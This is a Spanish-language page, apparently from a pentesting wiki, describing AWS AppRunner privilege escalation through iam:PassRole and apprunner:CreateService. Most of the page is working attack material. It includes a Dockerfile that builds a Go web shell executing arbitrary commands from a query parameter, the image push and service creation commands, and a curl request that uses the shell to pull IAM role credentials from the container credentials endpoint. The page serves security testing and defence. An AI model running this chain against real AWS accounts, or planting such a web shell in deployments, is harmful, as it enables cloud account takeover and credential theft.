Files

2.5 KiB

AWS - AppRunner Privesc

{{#include ../../../../banners/hacktricks-training.md}}

AppRunner

iam:PassRole, apprunner:CreateService

Un atacante con estos permisos puede crear un servicio de AppRunner con un rol de IAM adjunto, escalando potencialmente privilegios al acceder a las credenciales del rol.

El atacante primero crea un Dockerfile que sirve como web shell para ejecutar comandos arbitrarios en el contenedor de AppRunner.

FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

Luego, sube esta imagen a un repositorio ECR. Al subir la imagen a un repositorio público en una cuenta de AWS controlada por el attacker, privilege escalation es posible incluso si la cuenta de la victim no tiene permisos para manipular ECR.

IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

A continuación, el atacante crea un servicio AppRunner configurado con esta imagen de web shell y con el IAM Role que quiere explotar.

aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl

Después de esperar a que se complete la creación del servicio, utilice el web shell para recuperar las container credentials y obtener los permisos del IAM Role adjunto a AppRunner.

curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

Impacto potencial: Direct privilege escalation a cualquier IAM role que pueda adjuntarse a servicios de AppRunner.

{{#include ../../../../banners/hacktricks-training.md}}